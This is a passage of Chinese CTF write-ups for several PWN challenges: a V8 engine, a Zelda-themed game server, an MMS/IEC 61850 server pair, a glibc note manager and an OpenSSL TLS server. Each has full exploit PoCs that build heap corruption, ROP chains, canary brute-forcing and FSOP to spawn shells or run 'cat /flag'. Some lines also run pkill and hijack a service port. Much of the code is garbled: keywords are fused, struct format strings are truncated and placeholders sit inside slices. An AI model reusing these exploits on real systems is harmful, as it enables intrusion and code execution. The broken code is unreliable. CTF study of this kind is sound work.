补丁0007给 FeedbackCell 加 cached_entrypoint ( +0x10 ), CallJSDispatchEntry 直接取址 call ,绕开只读dispatch表。 JSFunction+0x18 存压缩FeedbackCell指针,未调用函数的入口仍是二进制地址,减 0x315a380 得PIE。
ROP布置在targetCell附近,偏移相对带tag的targetCell:
|
位置
|
内容
|
|---|---|
|
+0x00
|
PIE+0x18bb132
:
add rsp,0x10; pop rbp; ret |
|
+0x18
|
0
,供pop rbp消耗
|
|
+0x20
|
PIE+0x193a9cc
:
xor esi,esi; ret |
|
+0x28
|
PIE+0x34be450
:
execvp@plt |
|
+0x0f
|
PIE+0x27e9e69
:
push rbx; pop rsp; ret ,最后写 |
CallJSDispatchEntry 用rbx取入口, push rbx; pop rsp 后rsp=targetCell,ret取+0x00跳过缓存字段到+0x20,再ret进execvp;rdi已指向目标JSFunction,起始字节改成 /readflag 即作路径,rsi清零。改函数头必须最后做。
3. 解题过程
-
热身
put,probe确认probe[0]===probeObject且String(probe)不含[object。 -
搬迁bads到老年代,再写入新对象并记压缩地址,一次搬迁使其悬空;
moveOnce以addrOf变化判定搬迁。 -
大double数组按delta写伪JSArray头,跨槽补三条u2f。
-
取
length===16的伪数组,读FeedbackCell取cached_entrypoint减偏移得PIE。 -
写ROP四项与对象头
/readflag,最后写枢转gadget并caller(1)。
4. PoC
const view = newDataView(newArrayBuffer(8));
const u2f = (lo, hi) => (view.setUint32(0, lo >>> 0, true), view.setUint32(4, hi >>> 0, true), view.getFloat64(0, true));
const f2u = f => (view.setFloat64(0, f, true), [view.getUint32(0, true), view.getUint32(4, true)]);
function put(a, o, n) {
let x = 0;
for (let i = 0; i < n; i++) x = i === 0 ? 0 : o;
a[0] = x;
return a;
}
const leaker = [0, 1];
leaker[0] = 42;
function addrOf(o) {
put(leaker, o, 3);
const s = String(leaker);
return (Number(s.slice(0, s.indexOf(','))) * 2 + 1) >>> 0;
}
function garbage() { newArray(256).fill(1.1); }
function moveOnce(o) {
const before = addrOf(o);
for (let i = 0; i < 10000; i++) {
garbage();
if (addrOf(o) !== before) return;
}
}
const MAP = 0x0100baa9, PROPS = 0x7e5, FAKE_SMI = 0x20;
const bads = [], stale = [];
for (let i = 0; i < 32; i++) {
const a = [0, 1];
a[0] = 42;
bads.push(a);
}
moveOnce(bads[0]);
for (let i = 0; i < 32; i++) {
const o = { i };
put(bads[i], o, 3);
stale.push(addrOf(o) - 1);
}
moveOnce(bads[0]);
const spray = newArray(2048).fill(1.1);
moveOnce(spray);
const base = addrOf(spray), d0 = base + 23, elem = (base - 8) >>> 0;
for (const s of stale) {
const off = (s - d0) >>> 0;
if (off >= 16368) continue;
const k = off >> 3;
if ((off & 7) === 0) {
spray[k] = u2f(MAP, PROPS);
spray[k + 1] = u2f(elem, FAKE_SMI);
} else {
spray[k] = u2f(0, MAP);
spray[k + 1] = u2f(PROPS, elem);
spray[k + 2] = u2f(FAKE_SMI, 0);
}
}
let fake = null;
for (const a of bads) {
if (a[0]?.length === 16) { fake = a[0]; break; }
}
function read64(addr) {
fake[1] = u2f((addr - 7) >>> 0, FAKE_SMI);
return f2u(spray[0]);
}
function write64(addr, lo, hi) {
fake[1] = u2f((addr - 7) >>> 0, FAKE_SMI);
spray[0] = u2f(lo, hi);
}
const target = newFunction('x', 'let y=x;' + 'y+=1;'.repeat(1000) + 'return y;');
function caller(x) { return target(x); }
for (let i = 0; i < 1e5; i++) caller(i);
const cold = x => x;
const tCell = read64(addrOf(target) + 0x17)[0];
const c = read64(read64(addrOf(cold) + 0x17)[0] + 0x0f);
const pie = c[0] + c[1] * 4294967296 - 0x315a380;
const q = v => [v >>> 0, (v / 4294967296) | 0];
write64(tCell + 0x18, 0, 0);
write64(tCell + 0x20, ...q(pie + 0x193a9cc));
write64(tCell + 0x28, ...q(pie + 0x34be450));
write64(tCell, ...q(pie + 0x18bb132));
write64(addrOf(target) - 1, 0x6165722f, 0x616c6664);
write64(addrOf(target) + 7, 0x67, 0);
write64(tCell + 0x0f, ...q(pie + 0x27e9e69));
caller(1);
PWN6-bad_puppet
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
混合题(附件+靶机)
|
|
附件
|
bad_puppet.zip(二进制、启动脚本与运行库)
|
|
目标
|
容器
|
Flag:flag{动态容器已脱敏}
2. 题目分析
塞尔达主题的C++多线程网络游戏,纯文本协议一行一条命令,进程内6个线程(命令、战斗、背包、地图、商店、交易)共享同一堆。物品按 0x170 字节chunk分配(可用 0x160 ),落在tcache索引21。相关命令: shop buy 、 inv equip|unequip|drop|sort|list 、 mw pickup|show|whisper 。 mw show 按装备槽打印 description_addr/head/key , mw whisper 把十六进制写进描述缓冲区,上限127B且只接受 RingItem ,整条链以戒指为载体。
漏洞一: inv drop 先 clone_item 、再 destroy_item 、最后 erase_inventory ,但装备表 g_equipment 里的指针不会摘除。丢弃已装备物品后原chunk回到tcache,背包里没有它,装备表仍指向它; mw show / mw whisper 按下标取指针,直接退化成读/写已释放chunk。释放后头部为 +0x00 next(safe-linking,写入值 (chunk>>12)^next )、 +0x08 key、 +0x10 原物品字段。
漏洞二:交易线程不立即执行 equip / unequip ,而是排队;处理时按slot回查当前占用者克隆,释放却用事件入队时捕获的旧指针,队列积压时克隆源与释放目标错开,一次多释放一个块,把tcache计数从1抬到2。命令线程持有全局表、交易线程异步克隆,两者叠加才让清理范围小于引用范围、释放次数多于克隆次数。
关键偏移:
|
名称
|
值
|
|---|---|
main_arena |
0x204ac0 |
environ |
0x20bd58 |
system |
0x58750 |
/bin/sh |
0x1cc42f |
pop rdi; ret |
0x10c08d |
command_loop
返回地址
|
PIE
+0x5118 |
|
返回槽相对
environ |
-0x278 |
g_puppet
相对堆基址
|
+0xcf0 |
malloc_state
相对堆基址
|
+0x8a0 |
|
伪chunk大小
|
0x101 |
远程堆落在 0x55... 主arena, malloc_state 嵌在libc数据段, next 指向libc内bin数组,减去 0x204ac0 才得基址;本地用附件运行库启动时物品块常落在 0x7f... 的thread arena,同一偏移读出的不是main_arena,须先填满索引21让第8个块进unsorted bin取arena地址。
3. 解题过程
-
经济漏洞:
shop buy 3 0x100000001,单价按uint32截断为1只收64卢比,发货按uint64到账42亿炸弹。 -
map teleport castle、battle、use item 1 32秒Boss,mw pickup 0捡戒指,inv equip 2装备。 -
mw show取description_addr即戒指chunk地址A;inv drop 2后装备槽仍指向A。 -
再
mw show读A处tcache头:next为(A>>12)^0,key指向tcache结构,确认它在索引21表头;堆基址P=A&~0xFFFFFF。 -
inv equip 0与inv unequip 0交替400次灌满交易队列,再inv drop 0、inv drop 1,计数变2。 -
投毒:取T=A+0x80,写
next=(A>>12)^T、payload[120:<端口>]=0x101,两个装备槽各写一遍;shop buy 0 2加inv sort,第二次分配落到T。 -
任意读:把T换成
P+0xcf0即g_puppet表,克隆数据全填待读地址X,inv list打印的十进制即*(X);读P+0x8a0得main_arena,libc=leak-0x204ac0,再读environ。 -
栈上ROP:目标
environ-0x278,依次写pop rdi; ret、/bin/sh、system,quit使command_loop返回触发。
4. PoC
import re, socket, struct, time
HOST, PORT = "<靶机地址>", 9999
def p64(x):
return struct.pack(", x)
class Game:
def __init__(self, host, port):
self.s = socket.create_connection((host, port), timeout=8)
self.s.settimeout(0.4)
def read(self, wait=0.8):
end, out = time.time() + wait, b""
while time.time() < end:
try:
chunk = self.s.recv(65536)
ifnot chunk:
break
out += chunk
except socket.timeout:
if out:
break
return out.decode("latin-1", "replace")
def cmd(self, line, wait=0.8):
self.s.sendall((line + "\n").encode())
return self.read(wait)
def show(self, slot):
text = self.cmd("mw show")
line = [x for x in text.splitlines() if x.strip().startswith("[%d]" % slot)][0]
return [int(v, 16) for v in re.findall(r"0x[0-9a-f]+", line)]
def whisper(self, slot, data):
self.cmd("mw whisper %d %s" % (slot, data.hex()))
def poison(g, A, target):
payload = (p64((A >> 12) ^ target) + b"\0" * 0x70 + p64(0x101))[:<端口>]
g.whisper(0, payload)
g.whisper(1, payload)
def alloc2(g):
g.cmd("shop buy 0 2", 1.2)
g.cmd("inv sort")
def read64(g, A, P, addr):
# 每轮读前重做dup与投毒,戒指仍留在索引21
poison(g, A, P + 0xcf0)
g.whisper(0, p64(addr) * 15)
g.whisper(1, p64(addr) * 15)
alloc2(g)
out = g.cmd("inv list")
return int(re.findall(r"#(\d+)", out)[0])
def main(host, port):
g = Game(host, port)
g.cmd("shop buy 3 0x100000001", 1.5)
g.cmd("map teleport castle")
g.cmd("battle", 3)
g.cmd("use item 1 32")
g.cmd("mw pickup 0")
g.cmd("inv equip 2")
A = g.show(2)[0]
g.cmd("inv drop 2")
g.show(2)
P = A & ~0xFFFFFF
for _ in range(400):
g.cmd("inv equip 0", 0.02)
g.cmd("inv unequip 0", 0.02)
g.cmd("inv drop 0")
g.cmd("inv drop 1")
poison(g, A, A + 0x80)
alloc2(g)
arena = read64(g, A, P, P + 0x8a0)
libc = arena - 0x204ac0
stack = read64(g, A, P, libc + 0x20bd58) - 0x278
poison(g, A, stack)
g.whisper(0, p64(libc + 0x10c08d) + p64(libc + 0x1cc42f) + p64(libc + 0x58750))
alloc2(g)
g.cmd("quit")
print(g.cmd("cat /flag", 2))
main(HOST, PORT)
PWN7-Blackout
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
混合题(附件+靶机)
|
|
附件
|
Blackout.zip(bin/、filestore/、run.sh、Dockerfile、mlclient.conf)
|
|
目标
|
容器
|
Flag:flag{动态容器已脱敏}
2. 题目分析
run.sh用setpriv把两个守护进程降权拉起,各套while true循环,退出2秒后重启。server_sg5000(ied)监听102, +net_bind_service 能力跨execve保留,派生子进程仍可绑低端口;sg_masterlink(oper)按mlclient.conf连127.0.0.1:<端口>,poll_ms=4000,日志/srv/mlc/data/ml.log记录PIE、libc与句柄。 /flag 为root:oper 0440,ied读不到,必须借oper进程。
利用主线:装置侧UAF加FileRead下溢取任意读写,改IsoConnection回调拿ied shell,抢占102伪装服务端,再改reportHandler读flag。
-
数据集UAF:删除前用strlen比较数据集名与RCB的DatSet,
TL0/LLN0$assetds与LLN0$assetds长度不等即漏判,DataSet被free而RCB指针仍在;写GI触发总召,报告把释放块当DataReference带出。 -
FileRead下溢:InitiateRequest把maxPduSize协商成16,FileRead算分片长度得负数,按无符号大数用,写点越过发送窗口落到CotpConnection;伪造ByteBuffer后
buffer=entry-0x13、maxSize=0x100000,写入落在悬空entry。 -
主站侧:伪服务端回
local-detail-calling=0,sg_masterlink算出maxFileChunkSize=0-0x14=0xFFFFFFEC,作为fread长度被当无符号,整个报告读进65100字节缓冲区,溢出持久化响应ByteBuffer的buffer指针。
|
项目
|
值
|
|---|---|
|
ISO B/X相对V
|
-0x248E0 / -0x34810
|
|
悬空entry / 伪ByteBuffer / 命令缓冲
|
V+0xE70 / B+0x2000 / B+0x2100
|
|
r1.bin / r2.bin长度
|
0x13F60 / 0x11000
|
|
CotpConnection发送窗口
|
77000
|
|
msgRcvdHandler / tickHandler / handlerParameter
|
X+0x50 / X+0x58 / X+0x60
|
|
reportHandler / reportHandlerParam
|
H+0x88 / H+0x90
|
|
response缓冲区落点
|
H+0x78
|
|
Stage2命令在载荷内偏移
|
0xC0
|
3. 解题过程
-
server_sg5000动态链接libsgcomm.so.2且不做认证,sg_masterlink静态链接同一协议栈;装置文件区/srv/filestore对ied可写,主站区/srv/mlc/data不互通。
-
向
TL5/TSNC$SP$TsynReq$ReqStr写值,TsynReq处理函数把它当同步请求指针解引用,空指针退出;窗口内循环connect抢首条关联,IsoConnection、CotpConnection与收发缓冲按固定顺序切出,UAF泄漏恰5字节才算成功。 -
建7个31字节名字的变量列表占满tcache,绑定
LLN0$assetds并配RCB的DatSet/OptFlds/TrgOps/RptEna,删数据集后写GI取泄漏,还原V=(leak<<12)|0x3C0、B=V-0x248E0、X=V-0x34810、entry=V+0xE70。 -
上传0x13F60的rc.bin塑造CotpConnection,发Initiate(16)+FileRead越界,再写entry(variableName=目标)并写GI,DataReference即目标处C字符串;读X+0x50得msgRcvdHandler,
libsg=值-0x45A10,读libsg+0xCA150取free。 -
free减候选偏移回读4字节为
\x7fELF才确认libc(2.35 0xA53A0/0x50D70,2.39 0xADE30/0x58750)。 -
FileRead r1.bin重写CotpConnection(size=77000、payload=X+0x08),再读r2.bin触发COTP分片,偏移65512/65520/65528覆盖X+0x50/0x58/0x60为system/system/B+0x2100,定时回调执行
pkill -9 -f '[s]erver_sg5000'并拉起载荷。 -
载荷以ied身份bind <靶机地址>,等重启后的sg_masterlink连接,读回ml.log取最新H、PIE与libc。
-
FileRead 65112字节把response->buffer改成H+0x78,读256字节载荷覆盖H+0x88/H+0x90,发InformationReport触发reportHandler执行
cat /flag > /srv/filestore/out.txt; chmod 666;重启真实服务后读out.txt取flag。
4. PoC
p64 = lambda x: struct.pack(", x)
## 帧构造函数(associate/define/write/obtain_file/file_read)按BER拼装,略
def prep(host, port): # 打崩->抢首关联->UAF泄漏
for _ in range(6):
crash(host, port); c = Mms(host, port)
body = tlv(0x30, tlv(0xA0, tlv(0x1A, b"TL4") + tlv(0x1A, b"GGIOM")))
for i in range(7): # 短名字占用tcache
c.define_raw(b"F%02d" % i + b"A" * 29, body)
c.define_dataset(b"LLN0$assetds", ENTRY_BODY)
c.write("LLN0$RP$urcLd0Ev$DatSet", b"TL0/LLN0$assetds")
c.write("LLN0$RP$urcLd0Ev$RptEna", b"\x01")
c.delete_dataset(b"TL0/LLN0$assetds") # strlen漏判,引用计数为0
c.write("LLN0$RP$urcLd0Ev$GI", b"\x01")
leak = c.recv()
if len(leak) == 5:
V = (int.from_bytes(leak, "little") << 12) | 0x3C0
return c, {"B": V - 0x248E0, "X": V - 0x34810, "entry": V + 0xE70}
c.close()
def ar(c, lay, target, rc): # rc.bin塑造CotpConnection
c.upload("/rc.bin", rc)
c.send(initiate_frame(16)); c.file_read("/rc.bin", len(rc))
c.send(patch_entry(0x38, target)) # variableName=target
c.write("LLN0$RP$urcLd0Ev$GI", b"\x01"); return c.recv()
def libs(c, lay, rc):
libsg = u64(ar(c, lay, lay["X"] + 0x50, rc).ljust(8, b"\0")) - 0x45A10
free = u64(ar(c, lay, libsg + 0xCA150, rc).ljust(8, b"\0"))
for f, s in ((0xA53A0, 0x50D70), (0xADE30, 0x58750)):
if ar(c, lay, free - f, rc)[:4] == b"\x7fELF":
return free - f + s
def rce(c, lay, system): # 命令串由rc.bin放在B+0x2100
B, X = lay["B"], lay["X"]
r1 = bytearray(0x13F60); r1[0x08:0x10] = p64(X + 0x08)
r1[0x10:0x18] = p64(77000); r1[0x18:0x20] = p64(B + 0x2000)
r2 = bytearray(0x11000) # 分片65512/65520/65528落X+0x50/58/60
for n, b in (("/r1.bin", r1), ("/r2.bin", r2)):
c.upload(n, bytes(b)); c.file_read(n, len(b))
def inner(system, cur): # 第二阶段载荷,以ied身份运行
srv = socket.socket()
srv.bind(("<靶机地址>", 102)); srv.listen(1); cli = srv.accept()[0]
cli.sendall(initiate_response(local_calling=0)) # 0xFFFFFFEC
H = handle_from_log(cli) # ml.log取最新句柄
over = b"\0" * (65088 - cur) + p64(0) + p64(0x21) + p64(H + 0x78)
pay = p64(system) + p64(H + 0x148) + b"\0" * (0xC0 - 0x10) + CMD
serve(cli, "/overflow.bin", over); serve(cli, "/payload.bin", pay)
cli.sendall(information_report()) # reportHandler->system
载荷即inner源码。
PWN8-drywell
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
混合题(附件+靶机)
|
|
附件
|
drywell.zip内含pwn_drywell.tar.gz:chal、chal.c、libc.so.6、ld-linux-x86-64.so.2、Dockerfile、run.sh、flag.txt
|
|
目标
|
容器
|
Flag:flag{动态容器已脱敏}
2. 题目分析
12格note管理器, Note{char *data; unsigned long len, cap;} , notes=calloc(12,0x18) 得0x130块,落在heap+0x10,故 notes[i]=heap+0x10+0x18*i ,改 notes[7].data 即改 T=heap+0x10+0x18*7 。class请求0x4f8/0x8f8/0xff8对应chunk 0x500/0x900/0x1000,全越过tcache与smallbin上限,只能走unsorted/largebin;view仅8次,free清空字段,无UAF。
漏洞在edit末尾的一字节越界: n->data[n->cap] = ((len>>4 ^ poison_key) & 0xe) << 4 | (n->data[n->cap] & 0x0f) 。
data[cap] 正是下一块size的最低位,只改高半字节,低4位(PREV_INUSE)与高7字节保留,因此0x500可变成0x5a0或0xb00这类只放大不改归属的值。可写的半字节由len决定且受 len<=cap 限制,所以要先探出 poison_key 低4位;key来自/key,socat fork的各连接共享,一次探测对整实例有效。
利用链:0xa0余块压note2泄漏libc与堆→合并出0x10a0让note6覆盖7/8/9→unsafe unlink改notes[7].data为T-0x18→写穿ledger改note8.data为_IO_list_all→note9/10/11放伪FILE与vtable→quit触发flush_all走setcontext执行ORW。
|
名称
|
偏移(glibc 2.43)
|
|---|---|
|
unsorted fd→libc基址 / 堆泄漏→heap基址
|
0x212ac8 / 0x1030
|
|
pop rsp; ret / pop rdi; ret
|
0x3ca45 / 0x11b9fa
|
|
pop rsi; ret / pop rbp; ret
|
0x11ccbb / 0x2aafc
|
|
pop rdx; leave; ret / setcontext+0x2d
|
0x9fead / 0x4bead
|
|
_IO_wfile_jumps / _IO_list_all
|
0x211228 / 0x213480
|
3. 解题过程
-
探key:0..14步长2枚举,每次3次add(0)、一次
edit(0, b'Q'*len)、一次free(1),连接不断即命中。 -
双泄漏:5次add(0)后,把note2的下一块size与再下一块PREV_INUSE写成0x21(0x98、0xb8),note1的size拉到0x5a0,free(1)再add(0)切出0xa0余块压在note2;free(3)进unsorted,两次view得
libc=leak-0x212ac8、heap=leak-0x1030。 -
前向合并:再8次add(0)填满3、5..11;note7造自链空闲块(fd=bk=n7+0x90、size=0xb01),note9写prev_size=0xb00、size=0x20,note5拉到0x5a0,free(6)合并出0x10a0,add(2)后新note6覆盖7/8/9。
-
unsafe unlink:note6造前驱块(size=0x4f1、fd=T-0x18、bk=T-0x10),note8写prev_size=0x4f0、size=0x500,note9的size补回0x501,free(8)通过检查并把notes[7].data改成T-0x18。
-
FSOP:note11放伪vtable(+0x68=setcontext+0x2d,+0x100放路径),note10放伪_IO_wide_data并铺三段ORW链(+0xe0指向vtable),note9放伪FILE:_flags=0xfbad8000、_wide_data=n10、_freeres_buf=pop rsp、_mode=1、vtable=_IO_wfile_jumps、+0x1c0=0x1f80。
-
改ledger:notes[7].data已是T-0x18,
edit 7写0x90字节即覆盖notes[6..11],把note8.data改成_IO_list_all,再edit 8写伪FILE地址。 -
触发:quit进入exit的flush_all,伪FILE经_IO_wfile_jumps走宽字符overflow,
_wide_vtable->__doallocate跳setcontext,从n10链首pivot执行openat→read(3)→write(1)→_exit。
4. PoC
def L(n):
return n + ((k & 0xe) << 4)
def S(n, hi):
return n + (((k ^ hi) & 0xe) << 4)
def put(b, off, v):
b[off:off + 8] = p64(v)
def probe(io):
for k in range(0, 15, 2):
t = io.clone()
try:
for _ in range(3):
t.add(0)
t.edit(0, b'Q' * (0x100 + ((k & 0xe) << 4))); t.free(1)
return k
except EOFError:
pass
k = probe(io)
for _ in range(5):
io.add(0)
b = bytearray(L(0x200)); put(b, 0x98, 0x21); put(b, 0xb8, 0x21)
io.edit(2, b)
io.edit(0, b'A' * S(0x100, 0xa))
io.free(1); io.add(0)
io.free(3)
libc = u64(io.view(2, 0)) - 0x212ac8
heap = u64(io.view(2, 8)) - 0x1030
for _ in range(8):
io.add(0)
n6 = heap + 0x2250
n7 = n6 + 0x500
n9, n10, n11 = n6 + 0xf00, n6 + 0x1400, n6 + 0x1900
fake = n7 + 0x90
b = bytearray(L(0x200)); put(b, 0x98, 0xb01)
put(b, 0xa0, fake); put(b, 0xa8, fake)
io.edit(7, b)
b = bytearray(L(0x200)); put(b, 0x190, 0xb00); put(b, 0x198, 0x20)
io.edit(9, b)
io.edit(5, b'A' * S(0x100, 0xa))
io.free(6); io.add(2)
T = heap + 0x10 + 0x18 * 7
b = bytearray(S(0xf00, 0xa))
put(b, 0x508, 0x4f1); put(b, 0x510, T - 0x18); put(b, 0x518, T - 0x10)
put(b, 0x9f0, 0x4f0); put(b, 0x9f8, 0x500); put(b, 0xef8, 0x501)
io.edit(6, b)
io.free(8)
pop_rsp, pop_rdi, pop_rsi, pop_rbp = libc + 0x3ca45, libc + 0x11b9fa, libc + 0x11ccbb, libc + 0x2aafc
pop_rdx_leave = libc + 0x9fead
vt = bytearray(L(0x300)); put(vt, 0x68, libc + 0x4bead); vt[0x100:0x105] = b'/flag'
io.edit(11, vt)
w = bytearray(L(0x400)); chain, f1, f2, f3 = 0x100, 0x188, 0x248, 0x308
put(w, 0, n10 + chain); put(w, 0x18, 0); put(w, 0x20, 1); put(w, 0x30, 0)
put(w, 0xe0, n11)
def wr(base, vals):
for i, v in enumerate(vals):
put(w, base + 8 * i, v)
wr(chain, [pop_rdi, -100, pop_rsi, n11 + 0x100, pop_rbp, n10 + f1, pop_rdx_leave, 0])
wr(f1, [0, libc + 0x127a90, pop_rdi, 3, pop_rsi, n11 + 0x180, pop_rbp, n10 + f2, pop_rdx_leave, 0x100])
wr(f2, [0, libc + 0x128150, pop_rdi, 1, pop_rsi, n11 + 0x180, pop_rbp, n10 + f3, pop_rdx_leave, 0x100])
wr(f3, [0, libc + 0x128c10, libc + 0xf7180])
io.edit(10, w)
f = bytearray(L(0x300))
for off, v in ((0, 0xfbad8000), (0x68, 0), (0x88, n11 + 0x280), (0xa0, n10),
(0xa8, pop_rsp), (0xc0, 1), (0xd8, libc + 0x211228),
(0xe0, n9 + 0x200), (0x1c0, 0x1f80)):
put(f, off, v)
io.edit(9, f)
addrs = (n6, T - 0x18, libc + 0x213480, n9, n10, n11)
a = b''.join(p64(x) + p64(0) + p64(0xff8if i == 6else0x4f8) for i, x in enumerate(addrs, 6))
io.edit(7, a)
io.edit(8, p64(n9))
io.send(b'quit\n')
print(io.recvall(timeout=3))
n6为ledger里的堆地址heap+0x2250,n7..n11按堆布局推算。
PWN9-easytl
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
附件题(无靶机环境)
|
|
附件
|
easytl.zip(含easytl、server.crt、server.key)
|
|
目标
|
无(离线附件)
|
Flag:flag{动态容器已脱敏}
2. 题目分析
easytl:ELF64静态链接OpenSSL 3.x与glibc,ET_EXEC非PIE,NX与canary开;bind <靶机地址>,accept后fork并alarm(80),握手后跑6命令加密存储分发器。静态链接使gadget充裕、地址固定,但没有 system 可蹭,只能走syscall。子进程close(listen_fd)后0/1/2占用、SSL的socket是4, open() 最小编号是3,故 read/write(4,..) 对socket、 read(3,..) 读文件。
回调:info_cb 0x4030d5、psk_find_session_cb 0x402dbb、servername_cb 0x40320a;cur_ptr/cur_len在0x970f60/68,psk_buf/psk_len(=0x20)在0x970f40/48,sni_buf/sni_len在0x970f50/58。
漏洞函数0x40304d由info_cb在收alert时调用: char buf[0x50]; memcpy(buf, cur_ptr, cur_len); 。loop事件(mask 0x2002)把cur_ptr/cur_len刷成当前缓冲区与sni_len;alert事件(mask 0x4004)在 psk_buf && psk_len==0x20 时调用它,源是PSK identity、长度仍是sni_len,二者都由攻击者控制,栈溢出成立,canary在0x58。
identity是pre_shared_key扩展(0x0029)里的长度前缀字节串,可含 \x00 ;后门串 1401518dc5d7641ccd41593a5d812410 命中后用硬编码EC key造SSL_SESSION,binder必然失败并发alert。identity第33字节写 \x00 ,使字符串处理截断在32字节。
利用链:CH1用group 0x1234与超长SNI触发HRR,记下 cur_len=sni_len ;CH2复用同SNI并带PSK与x25519 key_share,回调填好psk_buf后binder失败发alert并溢出;再爆破canary,两段ROP(栈上 read(4,BSS,0x400) 加 pop rsp ,.bss里open/read/write)取flag。
|
用途
|
地址
|
|---|---|
|
pop rax; ret / pop rdi; ret
|
0x5f6c9a / 0x4251bd
|
|
pop rsi; ret / pop rdx; ret
|
0x5e9a79 / 0x52f0d2
|
|
syscall; ret / pop rsp; ret
|
0x76e706 / 0x4b9b60
|
3. 解题过程
-
CH1:supported_groups带0x1234与x25519,key_share只给0x1234,另带超长SNI;服务端无共享,回HRR要求x25519,
cur_len被loop事件写成sni_len。 -
CH2:复用CH1的session_id(TLS1.3把它当握手指纹),SNI与CH1逐字节相同,key_share换成0x001d,并带后门identity的PSK(binder随意填48字节);psk回调就位后binder失败发alert,进入0x40304d溢出。
-
爆破canary:第k字节取sni_len=0x58+k,identity总长同值,已恢复字节写进
identity[0x58:0x58+k];判定是把socket读到超时,看整段是否以裸写的error结尾。fork子进程canary相同,可多线程并发,约40秒得到006afe94cd3ec0e5。 -
拼identity:后门串0x20字节+
\x00+填充到0x58+canary+垃圾saved rbp+stage1,总长255且SNI长度必须同为255,否则cur_len与payload错位。 -
stage1:
read(4,BSS,0x400)把后续blob读进.bss,再pop rsp; ret迁移到0x979000。 -
stage2:blob里BSS+0放
open("flag",0)→read(3,BSS+0x500,0x100)→write(4,..)→_exit,路径放在BSS+0x300随blob读入;用相对名flag,绝对路径会ENOENT。 -
交互:CH2发出后立刻发0x400字节blob,数据先排在socket缓冲;回填后stage1的read正好取走它,pivot后stage2把flag写回socket。
4. PoC
import os, socket, struct
PSK = b'1401518dc5d7641ccd41593a5d812410'
POP_RAX, POP_RDI, POP_RSI, POP_RDX, POP_RSP, SYSCALL = 0x5f6c9a, 0x4251bd, 0x5e9a79, 0x52f0d2, 0x4b9b60, 0x76e706
BSS, PATH, FLAG = 0x979000, 0x979300, 0x979500
p16 = lambda x: struct.pack('>H', x)
p64 = lambda x: struct.pack(', x)
ext = lambda t, d: p16(t) + p16(len(d)) + d
make_sni = lambda n: (b'a' * 63 + b'.') * (n // 64) + b'a' * (n % 64)
def ch(sid, sni, idn=None, group=0x1234):
e = [ext(0x0000, p16(len(sni) + 3) + b'\x00' + p16(len(sni)) + sni),
ext(0x000a, p16(4) + p16(0x1234) + p16(0x001d)),
ext(0x000d, p16(4) + p16(0x0804) + p16(0x0403)),
ext(0x002b, b'\x02\x03\x04'),
ext(0x0033, p16(36) + p16(group) + p16(32) + os.urandom(32)),
ext(0x002d, b'\x01\x01')]
if idn:
ent, bid = p16(len(idn)) + idn + b'\x00' * 4, os.urandom(48)
e.append(ext(0x0029, p16(len(ent)) + ent + p16(len(bid) + 2) + p16(len(bid)) + bid))
body = p16(0x0303) + os.urandom(32) + b' ' + sid + p16(2) + p16(0x1302) + b'\x01\x00' + p16(sum(map(len, e))) + b''.join(e)
returnb'\x16\x03\x01' + p16(len(body) + 4) + b'\x01' + len(body).to_bytes(3, 'big') + body
def fire(h, p, idn, to=4.0):
s = socket.create_connection((h, p), timeout=to)
sid = os.urandom(32)
sni = make_sni(len(idn))
s.sendall(ch(sid, sni))
n = struct.unpack('>H', s.recv(5)[3:5])[0]
while n > 0:
n -= len(s.recv(n))
s.sendall(ch(sid, sni, idn, 0x001d))
return s
def oracle(h, p, ln, guess):
idn = bytearray(b'A' * (ln - 33))
idn[0x58 - 33:0x58 - 33 + len(guess)] = guess
try:
s = fire(h, p, PSK + b'\x00' + bytes(idn), 3.0)
s.settimeout(0.8)
d = b''
whileTrue:
try:
c = s.recv(65535)
except socket.timeout:
break
ifnot c:
break
d += c
return d.endswith(b'error')
except OSError:
returnFalse
def brute(h, p):
c = b'\x00'
for i in range(1, 8):
c += bytes(next(b for b in range(256) if oracle(h, p, 0x58 + i, c + bytes([b]))))
return c
def call(nr, a1, a2, a3):
return (p64(POP_RAX) + p64(nr) + p64(POP_RDI) + p64(a1) + p64(POP_RSI)
+ p64(a2) + p64(POP_RDX) + p64(a3) + p64(SYSCALL))
canary = brute(HOST, PORT)
stage1 = call(0, 4, BSS, 0x400) + p64(POP_RSP) + p64(BSS)
idn = PSK + b'\x00' + b'A' * (0x58 - 0x21) + canary + b'B' * 8 + stage1
idn = idn.ljust(255, b'C')
chain = call(2, PATH, 0, 0) + call(0, 3, FLAG, 0x100) + call(1, 4, FLAG, 0x100) + call(60, 1, 0, 0)
blob = bytearray(0x400)
blob[:len(chain)] = chain
blob[0x300:0x305] = b'flag\0'
s = fire(HOST, PORT, idn)
s.sendall(bytes(blob))
print(s.recvall(timeout=3))
PWN10-HESEUS
1. 题目信息
|
项目
|
内容
|
|---|---|
|
分类
|
PWN
|
|
形态
|
容器题
|
|
附件
|
无
|
|
目标
|
容器
|
Flag:flag{动态容器已脱敏}
2. 题目分析
服务接收64行画布,按块元素校验后计算加权和,再从 /proc/self/mem 的 struct_ptr + D 读1字节。校验按C字符串语义取到NUL为止,行首写NUL即被当作空元素放行;加权和却按整行原始长度累加,NUL及其后字节照样计入:
D = Σ sign8(canvas[i]) × (i + 1)
addr = struct_ptr + D
行内字节可取-128~127,行尾换行权重10,正负权重组合可精确凑出任意偏移。读出的字节与画布、请求序号一起进入ChaCha20-Poly1305派生:两段12字节nonce由画布逐字节异或得到,ChaCha20分组生成二级密钥与nonce,Poly1305标签前12字节与密文异或,前8字节对 文件长度-切片长度+1 取模得 OFFSET ,后4字节低6位加1得 LEN 。
未知量只有那1字节:本地复现同一PRF,对0~255穷举预测 (OFFSET, LEN) 与远端返回比对即可反推内存字节,碰撞时换画布与序号重问。于是得到每请求1字节的任意读原语,同时把奖励 HEX 当作 forgery 的切片:9020次请求拼出26772/26784字节,缺失仅在ELF头与末尾节表,代码段完整。
运行版与伪造版不是同一次构建(输出函数分别在PIE +0x1740 与 +0x1750 ),扩容分支的差异即漏洞:
new = malloc(new_capacity);
memcpy(new, old, old_length);
free(old); // +0x1ac5
memcpy(old, input, input_length); // +0x1ace 取回旧指针,+0x1b54 写入
